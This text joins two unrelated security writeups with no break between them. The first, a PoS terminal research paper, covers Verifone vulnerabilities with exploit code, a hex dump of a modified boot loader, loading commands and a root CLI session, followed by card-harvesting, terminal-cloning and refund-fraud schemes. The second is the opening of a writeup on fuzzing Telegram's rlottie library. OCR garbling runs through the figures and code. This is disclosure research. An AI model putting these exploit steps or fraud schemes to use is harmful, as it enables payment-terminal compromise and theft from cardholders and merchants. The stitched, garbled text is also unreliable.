<pre> • 111 v88 = v3; • 112 if (!v3) • 113 v3 = (char *)_fname; • 114 if (!v4) 115 { • 116 v5 = v3fname; • 117 v88 = v3 + 1; • 118 SCHEDULR_memcpy(12, (char *)_fname, v3fname); </pre>			
<pre> • 112 if ( !v3 ) • 113 v3 = (char *)_fname; • 114 if ( !v4 ) 115 { • 116 v5 = v3fname; • 117 v88 = v3 + 1; • 118 SCHEDULR_memcpy(, (char *)_fname, v3fname); </pre>			
<pre> • 113 v3 = (char *)_fname; • 114 if (!v4) 115 { • 116 v5 = v3fname; • 117 v88 = v3 + 1; • 118 SCHEDULR_memcpy(, (char *)_fname, v3fname); </pre>			
<pre> • 114 if ( !v4 ) 115 { • 116 v5 = v3fname; 117 v88 = v3 + 1; • 118 SCHEDULR_memcpy(, (char *)_fname, v3fname); </pre>			
<pre>115 { 116 v5 = v3fname; 117 v88 = v3 + 1; 118 SCHEDULR_memcpy(, (char *)_fname, v3fname); </pre>			
<pre> • 116</pre>			
<pre> • 117 v88 = v3 + 1; • 118 SCHEDULR_memcpy(, (char *)_fname, v3fname); </pre>			
118 SCHEDULR_memcpy(, (char *)_fname, v3fname);			
• 119 V3 • E			
• 120 v5] = 0;	• 120	[v5] = 0;	

Figure 5 depicts the sch\_run\_not\_vsa() function.

The attacker can overwrite variables beyond the pc[32] array and its return address.

Figure 6 (left) depicts the run() overflow indication on the terminal's display.

The lower 5 bits of the CPSR (Current Program Status Register) is 0x13 which indicates #define CPSR\_M\_SVC 0x13U. This indicates supervisor mode within the Verix Core subsystem. Combined with the prior vulnerability, our attacker now has maximum privileges on the system.





Figure 3 depicts all of the available commands within the SHELL.OUT application.

Figure 6

Figure 4 depicts the terminal's display while it's within the SHELL.OUT mode.

Stack overflow in Verix OS core during run() execution (CVE-2019-14717)

### Integrity control bypass (CVE-2019-14712)

Our researcher found it's possible to bypass Verifone's file integrity controls.

What are they? Verifone's file integrity controls who is authorized to load application files onto terminals. It verifies the file's origin, sender's identity, and integrity of the file's information. It uses digital signatures, cryptographic keys, and digital certificates.

The process is basically:

- Developer applies for a certificate from Verifone.
- The developer creates an app and signs it with their certificate and password.
- When loading the app on the terminal, the terminal compares its certificates against the app's signature.
- The app is marked "authenticated" and given permission to run on the terminal when it passes these checks.

Let's take a closer look of the process of deploying an app:

- 1. We create an application file named APP.out.
- 2. Using the application file, developer certificate, and developer password, the VeriShield File Signing Tool creates a signature file (\*.p7s).
- 3. Load the signature file (APP.p7s) and the original application file (APP.out) onto the terminal.
- 4. The terminal OS searches for signature files. The operating system compares its internal signatures against the values stored within the application file's calculated signature.
- 5. If these values match, the operating system marks that the application file is approved to run on the terminal. The OS creates an .s1g file with signatures. This file contains Hash-based Message Authentication Code (HMAC) from the keys in One-Time-Programmable memory (OTP). The file has an "authenticated" attribute.
- 6. When run() is called, the terminal checks that the file has this "authenticated" attribute. Next, the HMAC function checks the result against the .s1g file content.
- 7. If all checks have been completed, file APP.OUT runs in memory. Some attributes from DIR command and files in SHELL.OUT:
  - --gcr Authenticated signature file.
  - --gc- Uploaded, but not authenticated file.
  - -agc- Uploaded, and authenticated application file.

If the attacker has privileges to run code in core context, it's possible to call the function of the .s1g file generation against the arbitrary application. This bypasses the integrity checks.



Figure 7 above depicts an arbitrary app running on the terminal's display.

Figure 8 on the right depicts the source code of our application exploiting this vulnerability.

```
.text
.global_start
 start:
  .int 0.0
  @ldr r1, =#0x7041fff0
  @movs r0, #0xb
   @svc 10
  ldr r6, =#0x70420070
  mov r0, #dev_console
  add r0, r0, r6
  movs r1, #0
  svc 5
  @str r1, [r0]
  mov r1, #0x11
  movs r0, #1
  svc 2
  movs r0, #1
  subs sp, sp, #0x20
  str r0, [sp]
  str r0, [sp, #4]
  mov r0, #my data
  add r0, r0, r6
  str r0, [sp, #12]
  movs r0, #7
  str r0, [sp, #8]
  movs r1, #23
  movs r0, #1
  mov r2, sp
  svc 2
 exit:
 mov r1, #33
 mov r0, #4
 svc 10
  Ъа
my data: .asciz "hohohoh"
dev console: .asciz "/DEV/CONSOLE"
```

### VERIFONE VX AND MX SERIES VULNERABILITIES

Vulnerabilities, described below are the part of SBI boot loading process, which affects both VX and MX series. Therefore, the severity is extremely high.

To fix them, the vendor would have to update the boot loader process. This update has been issued by PCI in Nov 2020.

Undeclared access to the system via SBI loader (CVE-2019-14715)

The trusted loader allows for writing arbitrary code to memory during its SBI loader stage. All an attacker needs is physical access to the terminal.

The SBI loader enables file execution on the system through use of the XDL protocol, processing .SCR files, or using the command line.

Our terminal has SBI version 03\_04. However, this vulnerability occurs in both earlier and later versions of SBI. Experts have confirmed the issue in version 03\_10. Further details will be covered for the 03\_08 version.

Figure 9 below depicts our SBI loader access.



Figure 9

In the case of an unsuccessful USB-flash load, the system tries to load files through the XDL protocol with the RS-232 serial port. The ddl.exe utility supports this protocol and is available from VerixOS SDK.



Figure 10 depicts the main() function (0x00189DD4 offset) of the SBI loader while Figure 11 depicts the doXDL() function (0x00189E6C offset) of the SBI loader.

The Download File command uses the vulnerable check\_bootHeader() (0x00196022 offset) function.

On the other hand, Figure 12 depicts the XDL\_Proto() function (0x001961D4 offset) of the SBI loader.

```
print("\n *** SBI V. %s (%s %s) ***", "03_08", "Dec 9 2013", "11:08:39", v4);
```

1	int _fastcall doXDL( DWORD *a1)					
2						
3						
4	-					
5						
6						
7						
8						
• 9						
• 10						
• 11						
12						
13	{					
• 14	<pre>v2 = XDL_Handler(0); // XDL_Recv_waitCtrlBytes with 1000</pre>					
• 15	if ( v2 == 99 )					
• 16	break;					
• 17	v3 = XDL_cnt;					
• 18	if ( !XDL_cnt )					
• 19	break;					
20	++XDL_cnt;					
21						
• 22						
• 23	-					
• 24						
• 25						
26						
27						
28						
29						
9 30						
• 31						
• 32						
<ul> <li>33</li> <li>34</li> </ul>						
<ul> <li>34</li> <li>35</li> </ul>						
• 36	1					

Figure 11



00000000 boot_hdr	struc ; (sizeof=0x30	, align=0x4)
00000000 signature	DCD ?	
00000004 hdr_len	DCD ?	
00000008 data_len	DCD ?	
0000000C gap_C	DCB 4	
00000010 type	DCD ?	
00000014 flags	DCD ?	
00000018 load_addr	DCD ?	
0000001C field_1C	DCB ?	
0000001D field_1D	DCB ?	
0000001E min_SBI_	major DCB ?	
0000001F min_SBI_t	minor DCB?	
00000020 field_20	DCD ?	
00000024 field_24	DCD ?	
00000028 revocation	DCD ?	
0000002C dataDev_0	DCB ?	
0000002D dataDev_1	DCB ?	1 signed int2
0000002E dataDev_2	DCB ?	3 unsigned in 4 signed int 5 void *v5;
0000002F dataDev_3	DCB ?	6 unsigned i 7 boot_hdr * 8 struc_uplo
00000030 boot_hdr	ends	9 char *_dat 10 11 _data = da 12 _len = ler
		12 _1en = 1en

Figure 14 on the right depicts the check\_bootHeader() function (0x00196022 offset) of the SBI loader.



Data is interpreted by the Executable module using the header format that follows:

Figure 13 on the left depicts the SBI loader file header structure.

If the loaded header file's "signature" field is equal to 0xA19BC38F and the "type" field isn't null (line 42), then the "load\_addr" field is processed at the memory address of the loaded module (line 44). The content of the "load\_addr" copies into memcpy().

That allows an attacker to write arbitrary code to the device's memory within the SBI context. This enables executing the attacker's code, including overwriting the SBI code itself.

```
gned int __fastcall check_bootHeader(int a1, char *data, unsigned int len)
           unsigned int _len; // r4
signed int v4; // r0
            /oid *v5; // r0
           unsigned int v6; // r2
           boot_hdr *v7; // r
           struc_uploadedFiles *v9; // r0
char *_data; // [sp+4h] [bp-1Ch]
          if ( dword_1825E8 < 0 )
              v4 = loaded_file_already_contains(loaded_file.fname);
            dword_1825E8 = v4;
if ( v4 < 0 )
          if ( BOOT_loadAddr )
            v9 = &dwFiles[v4];
if ( !v9->loadAddr )
               loaded_files_size += loaded_file.size;
v9->loadAddr = BOOT_loadAddr;
             memcpy((char *)(v9->loadAddr + XDL_file_ChunkOffset), _data, _len);
33 v5 = dwFiles_alloc(XDL_file, XDL_file_ChunkOffset + _len);

34 XDL_file = (boot_hdr *)v5;

35 if ( !v5 )

36 __return -1:

37 _____
             XDL_file_ChunkOffset += _len;
          memcpy((char *)v5 + XDL_file_ChunkOffset, _data, _len);
v6 = XDL_file_ChunkOffset + _len;
  39 XDL_file_ChunkOffset = v6;
40 if ( v6 <= 0x40 )</pre>
                                                                       // sizeof(struct boot hdr)
  42 if ( XDL_file->signature == @xA19BC38F && XDL_file->type )// boot header magic
            BOOT_loadAddr = XDL_file->load_addr;
memcpy((char =)BOOT_loadAddr, (char =)XDL_file, v6);
             dwFiles[dword_1825E8].loadAddr = BOOT_loadAddr;
```

### Exploitation example

- 1. Get the SBI loader example. Figure 15 below depicts modification of the SBI loader.
- 2. Modify the loader:
  - » 0x0000000 offset signature
  - » 0x00000010 offset type
  - » 0x00000018 offset load\_addr

data_0040_sbi_03_04_mod.bin		
Offset(h) 00 01 02 03	04 05 06 07 08 09 0A 0B 0C 0D 0E OF	Decoded text
00000000 8F C3 9B A1	08 00 00 00 30 00 F2 45 00 00 00 00	ЏГ>Ў0.тЕ
00000010 04 00 00 00	03 00 00 00 F8 97 18 00 00 00 00 00	m—
00000020 00 00 00 00	00 00 00 00 00 00 00 00 00 00 00 00	
00000030 00 00 00 00	59 60 A8 08 01 00 00 00 00 00 00 00	Y`Ë
00000040 00 00 00 00	F0 45 01 00 01 00 00 00 60 00 00 00	pE`
00000050 90 45 01 00	10 49 01 00 00 01 00 00 00 00 00 00	ξΕΙ
00000060 00 00 00 00	9A D9 F2 45 00 00 A0 E1 00 00 A0 E1	вЩтЕ б б
00000070 00 00 A0 E1	00 00 A0 E1 00 00 A0 E1 00 00 A0 E1	б б б б
00000080 00 00 A0 E1	00 00 A0 E1 00 00 A0 E1 00 00 A0 E1	б б б б
00000090 00 00 A0 E1	00 00 A0 E1 00 00 A0 E1 00 00 A0 E1	б б б б
000000A0 00 00 A0 E1	00 00 A0 E1 01 04 A0 E3 09 00 80 E3	б б гЪг
000000B0 92 OF OF EE	A0 00 9F E5 D2 F0 21 E3 98 00 9F E5	'o .ueTp!rue
000000C0 00 00 40 E2	00 DO AO E1 D3 F0 21 E3 88 00 9F E5	@в.Р бУр!г€.џе
000000D0 02 0B 40 E2	00 D0 A0 E1 D3 F0 21 E3 7C 10 9F E5	@s.P 6Vp!r .ue
000000E0 00 10 91 E5	20 20 A0 E3 00 00 A0 E3 00 10 80 E5	`е г гЪе
000000F0 04 00 80 E2	04 20 42 E2 00 00 52 E3 FA FF FF 1A	Ъв. Вв Вгъяя.
00000100 5C 10 9F E5	20 20 A0 E3 20 00 A0 E3 00 30 91 E5	\.ue r.r.0'e
00000110 00 30 80 E5	04 00 80 E2 04 10 81 E2 04 20 42 E2	.0ЂеЂвЃв. Вв
00000120 00 00 52 E3	F8 FF FF 1A 2E 00 00 EA 18 F0 9F E5	Rrшяяк.рџе
00000130 00 00 00 02	1C A4 19 00 1C A4 19 00 1C A4 19 00	¤¤¤
00000140 1C A4 19 00	1C A4 19 00 28 A4 19 00 1C A4 19 00	.¤¤(¤¤
00000150 10 00 9F E5	1E FF 2F E1 0E F0 A0 E1 00 F0 1B 00	џе.я/б.р б.р
00000160 24 99 18 00	28 99 18 00 00 00 1A 00 00 00 00 00	\$ <sup>TH</sup> ( <sup>TH</sup>
00000170 00 00 00 00	00 00 00 00 00 00 00 00 00 00 00 00	
00000180 00 00 00 00	<b>00</b> 00 <b>00</b> 00 00 00 <b>00</b> 00 00 00 00 00	
00000190 00 00 00 00	00 00 00 00 00 00 00 00 00 00 00 00	
000001A0 00 00 00 00	00 00 00 00 8F C3 9B A1 40 00 00 00	цг»ў@
000001B0 01 30 33 5F	30 34 4A 61 6E 20 31 33 20 32 30 31	.03_04Jan 13 201
000001C0 33 00 00 00	00 00 00 00 00 00 00 00 00 00 00 00	3
000001D0 00 00 00 00	00 00 00 00 00 00 00 00 00 00 00 00	
000001E0 00 00 00 00	00 00 00 00 00 00 00 EB 3E 00 00 EB	л>л
000001F0 2C 00 8F E2	00 OC 90 E8 00 A0 8A E0 00 B0 8B E0	,.Цвђи. Ља.°<а

- 3. Modify the SBI loader to call the CLI terminal function. Figure 16 below depicts the SBI header modifications.
  - has bytes 03 F0 21 FE. This is the opcode of the PROMPT() function.

••	ROM:00189E48	03	FØ	21	FE			BL	PROMPT
•	ROM:00189E4C	08	FØ	7A	FF			BL	sub_192D44
•	ROM:00189E50	6C	AØ					ADR	R0, aResetTarget ; "\n====
•	ROM:00189E52	06	FØ	97	FA			BL	sub_190384
•	ROM:00189E56	ØA	20					MOVS	R0, #0xA
•	ROM:00189E58	05	FØ	CD	FE			BL	sub_18FBF6
•	ROM:00189E5C	00	20					MOVS	R0, #0
•	ROM:00189E5E	38	BD					POP	{R3-R5,PC}
	ROM:00189E5E					; E	nd of	function sub_189DD4	

4. Load the file via ddl.exe. Figure 17 below depicts using ddl.exe during the SBI load function to use an attacker's arbitrary code.

	\xdl
λ ddl	
DDL - Direct	Download (Version 2.0, Bui
Usage:	
DDL -p por	rt -b baud -t timeout -d
-r [di	rive:][group/][name] -z -c
file[	destination] key=value.
Arguments:	
file	File to download. Equivale
	"file@destname" to specify
key=value	Set configuration variable.
Options:	
-p port	Set host communication port
-b baud	Set baud rate. Values: 300
	38400, 57600, 115200. Defa
-t time	Set communication timeout,
-k time	Set pre-transmit timeout, i
-d file	Download file as a data fil
-e file	
-i file	Download file as code if it
	or .VSA or .VSL extension,
-r files	
	letter or "*", group is gro
- Z	Coalesce Flash.
-c [off]	
	-23 to +23 hours.
-x psswd	Set terminal password.
-f file	
	xdl
A ddl eve	010 -b115200 data_0040_sbi_0
	0, 115200 baud
	o SBI terminal
File da	ata_0040_sbi_03_04_mod.bin
Download Suc	
Closing COM	10

» Loader 03\_04 0x00000650 with offset (0x00189E48 offset on the terminal memory)

```
ld 6)
file -e file -i file
 [offset] -x password -f file
nt to "-i" file. Use
different destination name.
   Default = 1 (COM1).
 1200, 2400, 4800, 9600, 19200,
ult = 115200.
in seconds. Default = 5.
  seconds. Default = 0.
has a .OUT or .LIB otherwise as data.
boup/][file], where drive is drive
bup number, ".", "*", or empty.
time plus optional offset of
le.
 _04_mod.bin
   131072 bytes
```

Putty – 🗆
*** DOWNLOADING IS FINISHED *** *** PLEASE PRESS ENTER TO RUN SCRIPT ***
==== Can't open PSSBI.SCR ==== GodMode On!
===>HELP
====help - print this help ====quit - quit this prompt mode back to script
====All commands are NOT case sensitive
====File names are in (8.3) format no long file names ====Where hex number is required use this format 0x01ABCDEF
====LS - <nand> Show all root files and directories on USB Stick or on M ====LOAD - <file name=""> - Load file from the USB Stick into the RAM ====JMP - <address hex="" in=""> - Jump into the previously loaded application ====JMPB - <address hex="" in=""> - Jump into the previously loaded application hange to bigend</address></address></file></nand>
====DUMP - <page number=""> - Dump NAND page to Uart .</page>
====ERASE - <start blocks="" in=""> <end blocks="" in=""> - Erase NAND.</end></start>
====DDRAM - <ddram number="" option=""> ====Config DDRAM <option number=""></option></ddram>
====BURN <file name=""> <start (nand)="" block="" hex="" in="" number=""> - Burn file from</start></file>
SB to the NAND ====BURNSBI <file name=""> - Burn sbi file from the USB to the NAND ====BURNP <file name=""> <start block=""><page index=""> - Burn file from the USB to a specific page on NAND</page></start></file></file>
====RESET <6 USB / 10 NAND > - Reset the terminal ====TRIBURN <file name=""> <start (nand)="" block="" hex="" in="" number=""> - Burn file from USB to the NAND writing each block 3 (3 is defined in project.def so it ca 2 and 1) times</start></file>
====MCFG <ddr type=""> inits DDR get ncdl values and writes all of it to last of each of the first 3 blocks</ddr>
====RESET <6 USB / 10 NAND > - Reset the terminal
====NANDT - Show NAND type ====BAD BLOCKS - List Bad NAND blocks
====BBLERASE - erase Scratch BBL
====INCLUDE <script file="" name=""> - Run script</td></tr><tr><td>====DDRT - <loop counter> ====SVID - <write svid value (07 for production, or 8 with the DSA for dement)></td></tr><tr><td>====>ISDEV</td></tr><tr><td>TERMINAL IS NOT IN DEV MODE 1</td></tr><tr><td>====>DEVICEID</td></tr><tr><td>Device Identity Key : 0E17AE67-670FB1C8-5FDC32CB-3A785E5C-57455078-BA6C4462 ACBD-086C4EA1</td></tr><tr><td></td></tr></tbody></table></script>

Figure 18 above depicts the CLI terminal called through the modified SBI loader.

### Figure 19 below depicts our access to the terminal's NAND-flash memory.

```
Putty
 ===>LS NAND
 === Dir List NAND
 === NAND Read Error Block=0 Page=0
Bad SBI magic number 00200000 45f2d99a
 Found SBI Copy #2 Block=1 Page=0 Offset=0
Unauth HeaderFlags
                             45120030
flag SBI_UNAUTHFLAG_RSA_SIGNATURE
flag SBI_UNAUTHFLAG_K_BASE_PUB_DAUTH
Auth HeaderFlags
                              00000001
flag SBI_HAS_BOOT_IMAGE
PublicKeyOffset 83440
ChainTrustDepth 1
BootLoaderCodeOffset 96
 BootLoaderCodeLength 83344
AuthenticationPayloadOffset 84240
Recovery image 0
Found SBI Copy #3 Block=2 Page=0 Offset=0
Unauth HeaderFlags
                         45f20030
flag SBI_UNAUTHFLAG_RSA_SIGNATURE
flag SBI_UNAUTHFLAG_K_BASE_PUB_DAUTH
Auth HeaderFlags
                              00000001
flag SBI HAS BOOT IMAGE
PublicKeyOffset 83440
ChainTrustDepth 1
 CotLoaderCodeOffset
BootLoaderCodeLength
                     83344
AuthenticationPayloadOffset 84240
Recovery image 0
Found Vx Copy# 1 in Block=3 Page=0
HeaderLen 64
Length 487840
Flags 1 -> endian BE
LoadAddress 0x40000000
SignerVer 0x83
SBI Min Ver 02.41
 Revocation 7
DataVersion: 01.00.00.00
Found Vx Copy# 2 in Block=4 Page=0
HeaderLen 64
Length 487840
Flags 1 -> endian BE
LoadAddress 0x40000000
SignerVer 0x83
SBI Min Ver 02.41
 Revocation 7
DataVersion: 01.00.00.00
  ==>
```



### ATTACKS

In our research, PoS terminals became an instrument to simulate attacks for the banks and service providers. They asked us to address their individual interests. They wondered about the practical application of our assessments, including:

- 1. How easy is it to steal card details?
- 2. Can we make a functional clone of the PoS terminals?
- 3. Can someone send malicious requests to the authorization hosts and "steal money" from the bank in some way?

Let's take a look at each of these scenarios in greater depth in the sections that follow.

### Card harvesting

Instead of hacking the PoS systems, hackers can hack the PoS terminals for card's data collection. However, the most popular way of doing this is known as "fake PoS." A fake PoS terminal looks identical to the original hardware, the customer inserts their card, and a receipt prints with just an error code. The fake PoS contains memory to collect the credit card information that the criminal later collects.



Figure 20 above depicts a forum listing that's selling fake PoS.

As requested, we will try to obtain card and cardholder details from the original merchant PoS terminals. We imagine that some malicious insider got access to the terminal overnight and wants to use this for their own benefit.

There are two scenarios.

- 1. First scenario is when the terminal doesn't have a separate, secure, physical space for processing the card's and cardholder's data. This attack sounds easy. We need to obtain the highest kernel privileges (supervisor mode) on the system and then "scan" the payment processes to intercept the card's details: CVV2, Track2, and PIN.
- 2. Second scenario is when the terminal has a dedicated chip for storing the

crypto keys and processing cryptographic operations. Initially, this sounds like a secure way to handle even physical exploitation of devices. Hackers still can't extract keys, decrypt PINs or magstripe tracks. However, it's not nearly as secure as you might expect. As this research shows, even in Ingenico terminals that use dedicated chip for the encryption, it's still possible to steal PIN codes and Track2 data. The main reason is because PCI requires terminals to send and store sensitive data encrypted but has vague requirements about the processing of this data.

When we talk about cryptoprocessor, how sensitive information should be handled: • The PIN is entered and passed directly

- The PIN is entered and passed directly to the cryptoprocessor.
- The cryptoprocessor encrypts the PIN and passes it back to the main processor and main app. All data is put in the structure of ISO8583 authorization request and sent over to the acquiring bank.

But how it actually works:

- 1. PIN is entered and passed to the main app unencrypted.
- 2. Main app sends it to the cryptoprocessor and gets back encrypted.
- Main app sends it over the network in the assembled ISO8583 request.

As you can see, hackers still have access to unencrypted data during steps "a" and

"b." To steal card and cardholder data, attackers need to create malware that scrapes the memory to search for patterns of PIN and Track2. This memory-scraping malware is well-known among companies who suffered from card data breaches in the past.

It's fair to mention that PoS vendors don't write the payment applications themselves - there're service providers for this purpose. And we found this example in one of the banks we worked with. That example is show in the section "Remote code execution via the built-in TRACE mode (CVE-2018-17765, CVE-2018-17772)."

### **Terminal cloning**

- Secure SSL communication key
- MAC key for ISO8583 signing
- PIN encryption key
- Encrypted storage key
- Boot integrity control key

If all these keys are stored on the cryptoprocessor, it's impossible to create a functional clone of the terminal. However, if even one key can be leaked or found on the main storage, such as described in the section "Remote code execution via the built-in TRACE mode (CVE-2018-17765, CVE-2018-17772)," this puts the whole ecosystem at risk. For example, hackers who change the Cardholder Verification Method (CVM) limits and priority list, won't need to enter PIN codes or need to obtain the PIN encryption key. We're not showing

here the exact location and the process of extraction of the necessary keys.

### Insecure modes

Due to back compatibility and a lot of legacy features that need to be supported, there are terminals with insecure modes enabled:

- Magstripe or Technical fallback.
  - » These two modes allow using cards (even cards with the EMV chip) by only swiping them and using the magstripe part of the card. These cards can be easily bought on the dark market for about \$5-10 each.
- Pan key or manual entry.
  - » These terminals are popular in hotels, airplanes and other offline facilities. This functionality is for situations when you dictate your card number over the phone. In most cases, the cashier on the other side of the phone puts their PoS terminal in manual mode to enter your card details (payment card number, expiration date, CVV, and postcode for additional verification) which is then sent to the acquiring bank.
  - » In many cases, your bank won't even need a valid CVV code for these operations. Why is that? Let's imagine, you've bought some expensive perfume on the trans-Atlantic flight. You've landed and only then the flight crew discovers balance on it.
  - » In this case, the merchant who

already provided their product or service to you will try to make a transaction in the terminal's manual mode. But wait, they didn't collect your CVV code from the back of your card, did they? Exactly for these scenarios, they allow charges even without the correct CVV code.

- Visa Magnetic Stripe Data (MSD).
  - » This is a legacy, insecure mode, which sends the card's magstripe data to the terminal through contactless Near-Field-Communication (NFC) technology. It pre-dates the secure EMV standards. It's predominantly used within the USA and was originally planned to be terminated effective April 2019 by Visa's requirement (Contactless Payments: Merchant Benefits and Implementation Considerations). However, that's now slowed down and postponed due to the COVID-19 outbreak.

Under normal circumstances, a transaction only proceeds within these vulnerable modes when a few things happen:

- The merchant requests that this feature is enabled on their terminal.
- The acquiring bank enables this feature for the specific merchant on their network.
- The issuing bank allows that feature on the customer's card.

However, our tests revealed that banks that your card doesn't have sufficient verify only that the terminals have been enabled for use with the feature. Banks are assuming that no one can execute arbitrary code, or replace the terminal's

configuration files to enable these features, themselves. This means insecure modes can be activated on the compromised terminals quite easily.

### Refunds

Refunds enable customers to return products or services that they didn't use. Typically, refunds must go back to the original purchase card. This helps to prevent money laundering schemes. Otherwise, criminals would go to a big-box retailer, pay for a new iPhone with a stolen card, return it a few days later for a refund to their personal card. And that's just the tip of the iceberg for card-based money laundering schemes.

How does this work when customers have lost their original card? Or when they used Google Pay and have since accidently deleted the mobile wallet? There's two solutions for those scenarios:

- 1. A technical solution. Each receipt has a reference number and when the cashier initiates a refund, they enter a reference number and the acquiring bank checks that the refund goes to exactly the same card. If the card is lost/stolen, the cashier will need to call the bank to initiate a request for a non-standard refund.
- 2. An organizational solution. The acquiring bank doesn't check anything and allows refunds back to any card. All of the burden and liability of checking the card falls back on the merchant's shoulders. If any money laundering occurs, then

it's the merchant's loss and not the bank's.

Many banks who use the second model are prone to this fraudulent scheme:

- An attacker creates a functional clone of the terminal as described in section 7.2.
- An attacker enables insecure modes and makes high-risk transactions with stolen cards as described in section 7.1.
- An attacker makes refunds back to a personal card.
- A month later, the issuing bank issues a chargeback request to the acquiring bank for fraudulent transactions. The acquiring bank contacts the merchant to ask for an explanation of what happened. The merchant has no clue.

It's worth noticing that when no fraud checks are done on the banking side, hackers won't even need to make fraudulent payments in the first place. They can just do refunds for as long as the original company has some money on their accounts. As you can imagine, big supermarkets and networks have a lot of money on their accounts.

### **ACKNOWLEDGEMENTS**

- Dmitry Sklyarov, Positive Technologies
- Egor Zaytsev, Positive Technologies
- Artem Ivachev, Positive Technologies
- Vladimir Kononovich, Positive Technologies
- Maxim Kozhevnikov, Positive **Technologies**

### **Executive Summary**

Research is one of Shielder's pillars – head over to our research page to learn more about our commitment to improve the security of the digital ecosystem.

What follows is my journey in researching the lottie animation format, its integration in mobile apps and the vulnerabilities triggerable by a remote attacker against any Telegram user. The research started in January 2020 and lasted until the end of August, with many pauses in between to focus on other projects.

During my research I have identified 13 vulnerabilities in total: 1 heap out-of-bounds write, 1 stack out-of-bounds write, 1 stack out-of-bounds read, 2 heap out-of-bound read, 1 integer overflow leading to heap out-of-bounds read, 2 type confusions, 5 denial-of-service (null-ptr dereferences).

All the issues I have found have been responsibly reported to and fixed by Telegram with updates released in September and October 2020:

- Telegram Android v7.1.0 (2090) (released on September 30, 2020) and later;
- Telegram iOS v7.1 (released on September 30, 2020) and later;
- Telegram macOS v7.1 (released on October 2, 2020) and later.

Those updates include the fixes (the other types of clients are not affected by the vulnerabilities I have identified) basically if you have updated your Telegram client in the last 4 months you are safe. If not, I recommend you to update it as soon as possible.

## Hunting for bugs in Telegram's animated stickers remote attack surface POLICT

### INTRODUCTION

At the end of October '19 I was skimming the Telegram's android app code, learning about the technologies in use and looking for potentially interesting features. Just a few months earlier, Telegram had introduced the animated stickers; after reading the blogpost I wondered how they worked under-the-hood and if they created a new image format for it, then forgot about it.

Back to the skimming, I stumbled upon the rlottie folder and started googling. It turned out to be the Samsung native library for playing Lottie animations, originally created by Airbnb. I don't know about you but the combination of Telegram, Samsung, native and animations instantly triggered my interest in learning more.

### LOTTIE BY AIRBNB

Let's start from the original Lottie project by Airbnb, from airbnb.io/lottie:

Lottie is a library for Android, iOS, Web, and Windows that parses Adobe After Effects animations exported as json with Bodymovin and renders them natively on mobile and on the web!

"As json" is particularly interesting here, I was expecting some tricky 90's proprietary binary specification but instead they chose to use one of the most common and simple formats to date. (This got me also wondering whether memory corruptions would be harder to find, but it was too early to tell!)

As we have read, a Lottie animation is defined as a JSON with some information such as the frame rate "fr" and the version identifier "v" at its root, while most of the juicy features lie in the "layers" array.

At its minimum, a Lottie animation looks like this:

1	{	
2	"v":"",	// version identifier
З	"fr":1,	// frame rate
4	"ip":0,	// in-point
5	"op":1,	// out-point
6	"layers":[]	// the good stuff (tm)
L	`	

This doesn't include any graphical element, but it's useful to have a bare-minimum example before getting complex (especially in structure-aware fuzzing, as we will discuss later).

Remember the "Adobe After Effects animations exported as json" part? If you open such an animation it contains a lot of useless information and animation's metadata, for example Adobe After Effects even supports "the Adobe ExtendScript language, which is an extended form of JavaScript" (!), which is included in the JSON but not supported by the Lottie parser we are going to talk about.

It's important to notice here that Lottie animations are widely used, though most of the time via static resources such as app's transitions and animations. Another important thing to notice is that other apps, such as Signal, chose Airbnb's java/swift implementation.

### RLottie BY SAMSUNG, FORKED BY TELEGRAM

Here we arrive at Samsung's C++ library rlottie to parse Lottie animations. I'm not sure why Telegram's developers decided to use this implementation instead of Airbnb's, besides performance (and the chance to expose a 1-click native attack surface).

That being said, working with an open-source library will come in handy for setting up the fuzzing environment and triaging the crashes, something which is not as trivial to do in a black-box scenario.

RLottie doesn't support all of After Effect's features, however it is still actively maintained to this day, even though I'm not 100% sure what Samsung uses rlottie for besides probably Samsung Galaxy Watch Apps. (If you do know/find out where it's used let me know at @ polict\_ !)

By checking the README it's clear that writing the harness will be trivial; by looking at Telegram's integration it's even possible to copy the initialization settings and build a 1:1 stand-alone harness.

It's important to note here also that Telegram developers chose to fork the rlottie project and maintain multiple forks of it, which makes security patching especially hard. This will turn out to be an additional problem since the Samsung's rlottie developers do not track security issues caused by untrusted animations in their project because they are not "the intended use case for rlottie" (quote from https://gitter.im/rLottie-dev/community ).

### HARNESSING RLottie AND BUILDING A CORPUS

I had almost no experience in fuzzing before this research, so I started studying and learning about two of the main players at the time: AFL++ and LibFuzzer. The majority of entry-level writeups and walkthroughs available publicly were using AFL[++] so I started with it while learning more about the alternatives available.

(Only later did I discover the perf\_tips AFL++ documentation, I strongly recommend it to people starting out fuzzing!)

The first version of the harness was a ctrl+c/ctrl+v frankenstein but it worked well as a starting point:

```
#include <rlottie.h>
    #include <iostream>
   #include <string>
   #include <vector>
   #include <array>
   int entrypoint(std::string filename){
        auto player = rlottie::Animation::loadFromFile(filename, NULL);
10
         if (!player) {
             printf("error: renderer initialization failed\n");
12
             return 1;
13
         }
14
15
         // metadata[0] in Telegram/TMessagesProj/jni/lottie.cpp:130
16
         size_t frame_count = player->totalFrame();
h7
         printf("frame count:\t%zu\n", frame_count);
18
19
         // default width and height
20
         uint32_t w = 512;
21
         uint32_t h = 512;
22
23
        // copied from https://github.com/Samsung/rlottie/blob/master/example/lottie2gif.cpp
24
         auto buffer = std::unique_ptr<uint32_t[]>(new uint32_t[w * h]);
25
26
         if (frame_count < 1){
27
         printf("no frames to render, guitting\n");
28
             return 1;
29
         }
30
31
         printf("starting...\n");
32
         for (size_t frame = 0; frame < frame_count; frame++) {</pre>
33
             rlottie::Surface surface(buffer.get(), w, h, w * 4);
34
             player->renderSync(frame, surface);
35
         }
36
         printf("done!\n");
37
38
         return 0;
39
40
41
42
    int main(int argc, char **argv){
43
       if (argc < 2){
44
             printf("usage: %s <lottie.json>\n", argv[0]);
45
             return 1;
46
         }
47
48
         return entrypoint(std::string(argv[1]));
50
```

Having verified the harness was working, I started looking for animated stickers online to build a minimal corpus to start fuzzing: Telegram channels available as a webpage on t.me/ URLS and lottie online communities were especially useful for scraping usergenerated stickers in an automated curl-grep-gzip fashion.

### FUZZING TECHNIQUES AND RESULTS

### Coverage-guided fuzzing

If there's one thing I have learned the hard way in my information security experience (and later again by reading twitter heh), it is that many times doing the laziest thing would have produced the same output as a sophisticated technique, but in way less time: this research was no difference.

After instrumenting and improving the harness and launching afl-fuzz, crashes started to appear in a matter of seconds. I thought that if anybody was fuzzing it, they were either exploiting the issues or still looking for ASLR-breaking gadgets - but that's just a guess!

